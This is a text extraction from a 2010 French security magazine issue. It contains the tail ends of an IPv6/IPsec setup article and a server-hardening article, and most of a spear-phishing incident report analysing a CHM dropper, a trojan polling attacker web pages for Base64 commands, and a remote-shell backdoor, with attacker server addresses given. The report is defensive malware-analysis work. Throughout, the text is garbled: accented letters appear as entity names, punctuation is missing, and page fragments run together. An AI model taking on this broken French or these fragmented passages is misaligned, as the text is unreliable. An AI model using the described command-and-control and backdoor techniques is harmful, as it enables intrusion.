Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 10: hakin9_05_2010_FR

5201012

dossier

bull crit panne mateacuteriellebull err erreur geacuteneacuteriquebull warning avertissementbull notice avertissement neacutecessitant un traitement

particulierbull info informationbull debug deacutebogage

Certains de ces niveaux ne doivent ecirctre utiliseacutes que dans le cas de deacuteveloppement drsquoapplication ou tests de fonctionnement (info et debug) de mecircme il est tregraves fortement conseilleacute de limiter ces informations au strict besoin Le fait de tout journaliser produirait des jour-naux drsquoune taille tregraves importante qui seraient totale-ment inexploitables

bull Atteinte de la taille maximum du support de stocka-ge plus aucune information ne sera journaliseacutee (si une option drsquoeacutecrasement est activeacutee risque de per-te drsquoinformations)

bull Tri et exploitation beaucoup trop longs (imaginez la journalisation drsquoune journeacutee qui prend plusieurs jours agrave analyser)

Il est donc primordial drsquoappliquer une journalisation adapteacutee au mode drsquoutilisation un mode debug peut ecirctre utiliseacute pour analyser le bon fonctionnement drsquoune application mais il ne doit pas ecirctre constamment acti-veacute

La protection des journaux est aussi essentielle la derniegravere chose que fera un attaquant apregraves srsquoecirctre intro-duit chez vous est drsquoeffacer ses traces un attribut de protection sur les fichiers est donc tregraves important (voir le chapitre preacuteceacutedent Droits et fichiers)

Quel est lrsquointeacuterecirct de la journalisation

bull Comme eacutenonceacute preacuteceacutedemment dans le cas de test du fonctionnement drsquoune application

bull Pour deacutetecter lrsquoorigine de problegravemes sur la machi-ne

bull Pour tracer les actions (sur le systegraveme dans une applicationhellip)

bull Afin de deacutetecter des agissements anormauxbull Pour proteacuteger lrsquoadministrateur la socieacuteteacute en vertu

des lois (respect des lois)

Mais la journalisations ne fait pas tout il faut aussi ef-fectuer des sauvegardes des sauvegardes systegravemes (par exemple avant une modification majeure reacutegu-liegraverement pour reacutecupeacuterer facilement apregraves un crash) mais aussi des journaux drsquoaudit Bien sucircr ces sauve-gardes doivent ecirctre proteacutegeacutees et deacutelocaliseacutees

En geacuteneacuteral la dureacutee de conservation des sauvegardes (journaux bien que systegravemes seraient un plus) doit ecirctre entre 1 agrave 2 ans (leacutegalement) permettant une reacuteponse aux requecirctes judiciaires

seacutecuriteacute et continuiteacuteUn systegravemes nrsquoest jamais complegravetement sucircr Lrsquohomme (ou la femme) le meilleur du monde ne pourra jamais seacutecuriser un systegraveme de maniegravere absolue

Il y a quand mecircme des moyens afin drsquoatteindre un niveau de seacutecuriteacute assez convenable

bull La mise en place de politique de seacutecuriteacutebull Effectuer de la veille technologiquebull Effectuer reacuteguliegraverement des audits de seacutecuriteacute sur

les systegravemesbull Le respect par tous des regravegles de seacutecuriteacute (le vi-

rus introduit sur le reacuteseau vient dans la majoriteacute des cas du grand chef ou des administrateurs locaux

bull Sensibiliser encore et encore

Bien sucircr cette liste nrsquoest pas exhaustive

ConclusionLa seacutecuriteacute dun systegraveme ne deacutepend pas que de sa mise agrave jour il deacutepend eacutenormeacutement de la maniegravere dont on administre ses service Que ce soit pour un serveur dune grande entreprise ou votre serveur agrave la maison la seacutecurisation de votre serveur ne sera jamais fini effectuez une veille technologique et appliquez la seacutecu-risation par laquo laccegraves au strict besoins raquo et vous aurez eacuteviteacute un grand nombre dattaque Malheureusement vous ne serrez jamais proteacutegeacute contre les nouvelles failles applicatives et ceux mecircme avec une infrastruc-ture conseacutequente

La seacutecuriteacute nest quun deacutebut son application na pas de fin

Agrave ProPos de LAUTeUrAutodidacte depuis plus de dix ans dans le domaine du deacuteve-loppement lauteur e ectue des audits de seacutecuriteacute informati-que pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

NoTe regravegles de bonnes conduites agrave garder sur ces systegravemes bull Le cloisonnement des mots de passe (le mecircme mot de

passe ne doit pas ecirctre utiliseacute entre les machines virtuelles et la machine physique)

bull La mise agrave jour des systegravemes en portant une attention particuliegravere sur la stabiliteacute du systegraveme maicirctre (machine physique)

bull Lrsquoapplication de droits restreints agrave lrsquoadministration des machines virtuelles (seul un administrateur doit pouvoir reacuteinitialiser une machine la dupliquer lrsquoexporter etc)

5201014

attaque

En regravegle geacuteneacuterale lrsquoobjectif dun attaquant est drsquoobtenir des informations sensibles sur un utili-sateur Mais il peut eacutegalement srsquoagir drsquoatteindre

des reacuteseaux speacutecifiques Bien souvent le pirate reacuteussit agrave convaincre lrsquoutilisateur de teacuteleacutecharger et drsquoexeacutecuter une piegravece jointe frauduleuse ou drsquointeragir avec lui

Dans le cadre de cet article et du rapport drsquoanalyse nous analyserons une attaque de type spear-phishing aborderons les meacutethodes utiliseacutees et lrsquoorigine de lrsquoatta-que Dans ce rapport une attaque par spear-phishing a eacuteteacute bloqueacutee et des actions ont eacuteteacute mises en œuvre pour comprendre les principes de fonctionnement de lrsquoat-taque Ce rapport examine les meacutecanismes utiliseacutes pour lattaque les outils de deacutesassemblage et les caracteacuteristi-ques qui ont permis aux utilisateurs de srsquoen preacutemunir

Nous avons utiliseacute plusieurs techniques drsquoinvestigation une analyse statique pour examiner lrsquoensemble des fichiers des outils comme IDA Pro Radare et Hiew pour lrsquoanalyse des fichiers binaires Nous avons eacutegalement analyseacute le malware agrave lrsquoexeacutecution en utilisant des machines virtuelles et des outils drsquoanalyse dynamiques comme Immunity De-bugger Python et Fiddler Des exeacutecutables ont eacutegalement

eacuteteacute modifieacutes pour permettre la simulation dun C amp C et linteraction eacutetant observeacutee avec la machine virtuelle Enfin la reconnaissance du reacuteseau de base a eacuteteacute effectueacutee pour surveiller les systegravemes geacutereacutes par lattaquant

Avec une attaque par spear-phishing et des techniques drsquoingeacutenierie sociale un attaquant peut aiseacutement envoyer un cheval de troie pour prendre les commandes drsquoun site Entre temps lrsquoutilisateur a mis agrave jour le site avec une commande de type download (teacuteleacutechargement) qui agrave son tour a permis au cheval de troie de creacuteer une bac-kdoor Une backdoor est une commande shell basique qui permet agrave un attaquant drsquoacceacuteder agrave un hocircte au niveau du systegraveme drsquoexploitation et ainsi cibler des reacuteseaux speacute-cifiques Le reste de cet article traitera de la reacuteponse agrave lattaque et de lanalyse des eacuteleacutements reacutecupeacutereacutes

une attaque par eacutetapes ndash analyse fonctionnelleDans cette rubrique nous allons expliquer en deacutetail ce qursquoest une attaque par spear-phishing Dans la pre-miegravere partie nous nous inteacuteresserons agrave la phase ougrave lrsquoattaquant envoie un e-mail avec une piegravece jointe frau-duleuse Cette piegravece jointe nrsquoest autre qursquoun cheval de troie qui permet de prendre le controcircle du site Lrsquoeacutetape suivante consiste pour le malware agrave teacuteleacutecharger et

Rapport drsquoanalyse drsquoune attaque par spear-phishing

Le Spear-Phishing est un phishing cibleacute lattaque est techniquement similaire au phishing mais cible un petit nombre de victimes par courrier eacutelectronique Lrsquoattaque varie selon les intentions du pirate qui lrsquoinitie

Cet aRtICLe eXPLIquebull Analyse drsquoune attaque de type spear-phishing

Ce qursquoIL Faut SaVOIRbull Langage Python

adam Pridgen Matthew Wollenweber

Figure 1 Appel du fichier CHM agrave lrsquoexeacutecutable svchostexe Figure 2 Cleacute de registre relative agrave lrsquoemplacement du malware

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 15

Lorsque le programme est exeacutecuteacute une cleacute est enre-gistreacutee dans le registre de Windows pour lancer auto-matiquement le troyen au deacutemarrage de lrsquoordinateur

La figure 2 repreacutesente la cleacute de registre et son emplace-ment La cleacute est une cleacute de deacutemarrage peu utiliseacutee Lors-que la cleacute de registre est deacutefinie le fichier binaire reacutecupegravere lrsquohocircte et lrsquoURL qui permettront drsquoenvoyer des commentai-res sur le site Web Les commandes inteacutegreacutees agrave la page sont encodeacutees en Base 64 et sont comprises entre les balises lt-- hellip --gt Lrsquoanalyse statique du troyen reacutevegravele qursquoil nrsquoy a que quelques commandes connues dont

bull sleepbull downloadbull connectbull cmdbull quit

En cours drsquoanalyse seules les commandes sleep et down-load ont eacuteteacute utiliseacutees par lrsquoattaquant La commande sleep oblige au programme agrave ne rien faire pendant un laps de temps deacutetermineacute selon le paramegravetre passeacute agrave la fonction Lrsquoanalyse live a montreacute que la page de lrsquoattaquant eacutetait reacuteactualiseacutee toutes les 10 minutes La commande down-

installer une backdoor crsquoest-agrave-dire une porte deacuterobeacutee Nous discuterons eacutegalement de la porte deacuterobeacutee

Charges virales primaires et secondairesLa premiegravere eacutetape drsquoune attaque par spear-phishing correspond agrave lrsquoenvoi drsquoun e-mail laquo creacutedible raquo en utilisant des techniques drsquoingeacutenierie sociale Cet e-mail a pour but de manipuler lrsquoutilisateur en gagnant sa confiance ou en attisant sa curiositeacute Cette manipulation se sert de vraies ou fausses informations en plus drsquoinformations personnelles pour faire croire agrave lrsquoutilisateur qursquoil srsquoagit drsquoun e-mail de confiance Lorsque lrsquoutilisateur accepte lrsquoattaquant poursuit le deacuteroulement de son plan Dans le cas preacutesent nous nous inteacuteresserons uniquement agrave la piegravece jointe En effet les autres sections contiennent des informations personnelles et donc sensibles

La piegravece jointe contient un cheval de troie Avant lrsquoen-voi de lrsquoe-mail lrsquoattaquant a pris le soin de se renseigner sur lrsquoentreprise etou son utilisateur Le contenu de lrsquoe-mail est donc speacutecifique lrsquoutilisateur est suffisamment confiant pour ouvrir la piegravece jointe Lorsquelle est ouverte un cheval de troie est exeacutecuteacute et se lance en tacircche de fond sur la machine cible Dans le cas preacute-sent la piegravece jointe est au format CHM (fichier drsquoaide Microsoft compileacute en HTML) qui permet drsquoinstaller et de lancer le processus malveillant svchostexe comme illustreacute agrave la figure 3

La figure 1 preacutesente la portion de code CHM qui permet de mettre en œuvre cette technique Le fichier CHM utilise des contenus lieacutes agrave des logiciels open-source pour exploiter des failles sur la machine cible Les contenus regroupent diverses informations sur le site Web ainsi que des donneacutees officielles provenant de la Federal Reserve Board (FRB) relatives au deacutevelop-pement des fonds moneacutetaires mondiaux

Figure 3 Cheval de troie lanceacute par le fichier CHM Figure 4 Commande HTTP HEAD lanceacutee sur tous les serveurs

5201016

attaque

load permet de teacuteleacutecharger et drsquoexeacutecuter un fichier binaire speacutecifieacute par lrsquoattaquant Cette commande autorise un hocirc-te ou FQDN en plus drsquoun URI Elle srsquoappuie sur la librairie WinHTTP pour eacutetablir des connexions reacuteseaux Au bout de 8 heures la page Web de lrsquoattaquant est mise agrave jour avec cette commande et le troyen reccediloit lrsquoemplacement du nouveau binaire agrave exeacutecuter Un script a eacuteteacute utiliseacute agrave la pla-ce du troyen pour suivre et manipuler le site Une fois la commande reccedilue le script a teacuteleacutechargeacute le binaire agrave par-tir du site Une fois le binaire reacutecupeacutereacute il a eacuteteacute analyseacute il srsquoagissait drsquoune porte deacuterobeacutee La prochaine section deacute-taille le mode de fonctionnement de ce binaire

La porte deacuterobeacutee (backdoor)Une fois le nouveau binaire reacutecupeacutereacute sur le site de lrsquoattaquant les proprieacuteteacutes fonctionnelles et autres ca-racteacuteristiques ont eacuteteacute rapidement passeacutees en revue Eacutetant donneacute la dangerositeacute du binaire nous avons creacuteeacute un environnement priveacute et seacutecuriseacute pour reproduire les commandes et controcircler le serveur en interne Le bi-naire a eacuteteacute modifieacute pour srsquoadapter agrave notre CampC eacutemuleacute et srsquoexeacutecuter sur une machine virtuelle Voici les actions qui se produisent sans intervention humaine

une fois la porte deacuterobeacutee installeacutee sur le disque de lrsquohocirc-te lrsquoattaquant exeacutecute le fichier binaire avec WinExec Au cours de cette eacutetape la porte deacuterobeacutee utilise des sockets WSA pour se connecter agrave un serveur hard-coded (codeacute en dur) sur un port speacutecifique Si la porte deacuterobeacutee rencontre des erreurs il nest pas possible de se connecter au ser-veur elle se deacutesinstalle automatiquement en supprimant lrsquoimage de lrsquoexeacutecutable sur le disque avant de se fermer

Si la porte deacuterobeacutee reacuteussit agrave eacutetablir une connexion elle envoie la chaicircne encodeacutee en Base 64 puis se connecte

ensuite le client peut renvoyer nrsquoimporte quel type drsquoinformation La porte deacuterobeacutee dispose de fonctions limiteacutees mais le nombre de ses commandes permet de prendre le controcircle du systegraveme drsquoexploitation La porte deacuterobeacutee accepte les donneacutees en entreacutee des processus par cmd ou des commandes quit (fermeture) Si la com-mande quit est saisie la backdoor effectue lrsquoensemble des actions aboutissant agrave lrsquoauto-destruction

Le cmd invoque un shell basique Dans cet environne-ment les commandes accepteacutees sont celles speacutecifiques aux systegravemes drsquoexploitation des exeacutecutables dans un che-min drsquoaccegraves speacutecifique cd quit et exit La commande cd permet de changer drsquoemplacement de reacutepertoire Les com-mandes quit et exit permettent de quitter le mode shell

Protections systegraveme Spear-PhishingLe systegraveme mis en place pour le phishing semble ecirctre conccedilu pour eacuteviter le maximum de dommages en cas de suppression de lrsquoun de ses composants logiciels En outre les composants malveillants nrsquoont pu ecirctre identifieacutes par les anti-virus (AV) ou des systegravemes de preacuteventions drsquointrusion (IPS) classiques Ces observations deacutecoulent du fait que les serveurs nrsquoont pas eacuteteacute utiliseacutes pendant une semaine apregraves la premiegravere analyse Il y a eu une tentative pour identifier drsquoautres serveurs utilisant des canaux de controcircles similaires par des moteurs de recherche mais ces moteurs ne conservent pas les commentaires HTML comme meacutetadonneacutees Une alternative aux moteurs de recherche est de crawler (parcourir) le Web agrave la recher-che drsquohocirctes pour identifier les commentaires en Base 64 dans chaque page Compte tenu du temps imparti reculer lrsquoeacutecheacuteance nrsquoeacutetait pas envisageable

En ce qui concerne les protections binaires le dropper (injecteur du cheval de troie) de base est un CHM dispo-sant drsquoune charge virale et placeacute sur le disque Le cheval de troie nrsquoest pas en format packageacute et est un binaire non crypteacute il communique avec lrsquoattaquant par texte brute Lorsque le troyen se ferme il ne se deacutesinstalle pas du disque et se lance agrave chaque deacutemarrage du posteFigure 5 Fichiers CHM extraits

Figure 6 Affichage des chaicircnes avec les chaicircnes deacutecodeacutees en Base 64 via Python

Figure 7 Code qui permet de teacuteleacutecharger un fichier du serveur controcircleacute par un attaquant

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 17

La porte deacuterobeacutee teacuteleacutechargeacutee ulteacuterieurement dans lrsquoatta-que est dans un format binaire non proteacutegeacute Il est ni crypteacute ni packageacute La backdoor communique eacutegalement avec les serveurs de lrsquoattaquant en utilisant des canaux de texte brut Contrairement au troyen la porte deacuterobeacutee se deacutesinstalle du disque agrave chaque fermeture ou en cas drsquoerreur

analyse deacutetailleacutee du systegraveme spear-phishingDans ce chapitre nous allons expliquer la meacutethodologie de notre analyse Nous allons deacutecouvrir les outils et processus utiliseacutes pour reacutealiser lrsquoanalyse drsquoune attaque par spear-phishing Lrsquoanalyse met lrsquoaccent sur plusieurs domaines drsquoeacutetude Lrsquoobjectif est drsquoobtenir des preuves tangibles sur lrsquoattaque du pirate informatique afin drsquoy reacutepondre de ma-niegravere approprieacutee et au final rechercher les failles qui per-mettraient de srsquoimmiscer dans le reacuteseau de lrsquoattaquant

Les analyses des diffeacuterentes composantes nont pas eacuteteacute effectueacutees dans lordre ougrave elles sont eacutenonceacutees dans les sous-sections suivantes mais le deacutetail des sous-sec-tions reacutevegravele comment lanalyse est effectueacutee et quelle information est acquise par lanalyse La premiegravere sous-partie traite des informations obtenues suite agrave lrsquoanalyse des serveurs web externes Dans la section suivante nous nous inteacuteresserons plus speacutecifiquement au dropper et au troyen utiliseacutes par les attaquants ainsi qursquoagrave lrsquoana-lyse de la porte deacuterobeacutee reacutecupeacutereacutee sur le site pirate

analyse serveurLa meacutethodologie de lrsquoanalyse des serveurs web eacutetait prin-cipalement en black-box sachant que nous nrsquoavions pas

accegraves aux systegravemes Par ailleurs les phases drsquoanalyse et de reconnaissance devaient rester discregravetes Les reacutesul-tats obtenus suite agrave lrsquoanalyse serveur srsquoappuient sur les meacutetadonneacutees recueillies et les reacutesultats qui en deacutecoulent Les reacutesultats se sont appuyeacutes sur les requecirctes des en-tecirctes HTTP sachant que les trois serveurs tournaient sous Microsoft IIS 60 ce qui signifie que les serveurs tournent avec un systegraveme drsquoexploitation Microsoft Server 2003

Le serveur qui a lanceacute le cheval de troie a lrsquoadresse IP 20322022138 est fonctionnel depuis le Jeudi 16 Oc-tobre 2008 110256 et correspond au domaine techsuscomau Une rapide recherche sur Google montre que ce site est en place depuis un bon moment Par ailleurs une signature McAfee existe pour cette porte deacuterobeacutee et est active depuis Septembre 2007 (Backdoor-DMG McA-fee Inc httpvilnaicomvilcontentv_143081htm) Le serveur qui a heacutebergeacute cette porte deacuterobeacutee a reacutecemment reccedilu des modifications sur sa page index qui semble dis-poser de commandes de controcircle hosting comme illustreacute agrave la Figure 4 Le serveur sur lequel se connecte la porte deacuterobeacutee a pour adresse 6322812819 et est fonctionnel

Figure 8 Cheval de troie contactant un serveur hard-coded pour les commandes

Figure 9 Interception du trafic web du cheval de troie par Fiddler

Figure 10 Tokens utiliseacutes pour identifier les commandes de la page web

Figure 11 Immunity Debugger affiche la commande parseacutee par le cheval de troie

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

